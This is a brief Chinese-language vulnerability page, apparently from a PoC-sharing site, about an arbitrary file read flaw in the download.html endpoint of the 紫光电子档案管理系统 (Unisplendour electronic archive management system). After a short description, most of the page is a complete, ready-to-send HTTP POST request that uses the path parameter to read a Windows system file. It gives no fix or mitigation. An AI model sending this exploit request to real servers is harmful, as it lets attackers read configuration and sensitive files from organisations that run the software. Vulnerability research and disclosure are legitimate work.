紫光电子档案管理系统 System/WorkFlow/download.html 文件读取漏洞

日期: 2025-07-07 | 影响软件: 紫光电子档案管理系统 | POC: 已公开

漏洞描述

紫光电子档案管理系统是一款用于电子档案管理的专业软件，提供高效的档案存储、管理和检索功能。该系统的 System/WorkFlow/download.html 接口存在任意文件读取漏洞，攻击者可以通过构造恶意请求读取服务器上的任意文件，如系统配置文件、敏感数据文件等，可能导致敏感信息泄露。

PoC代码

POST /System/WorkFlow/download.html?path=C:\Windows\win.ini HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 387
Content-Type: multipart/form-data; boundary=----qhriwu7zbxvopwczt4pf
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
X-Requested-With: XMLHttpRequest

------qhriwu7zbxvopwczt4pf
Content-Disposition: form-data; name="userID"

admin
------qhriwu7zbxvopwczt4pf
Content-Disposition: form-data; name="fondsid"

1
------qhriwu7zbxvopwczt4pf
Content-Disposition: form-data; name="comid"

1
------qhriwu7zbxvopwczt4pf
Content-Disposition: form-data; name="token"

5117e82385cef4c12547fdd4c028b97a1-1
------qhriwu7zbxvopwczt4pf--

相关漏洞推荐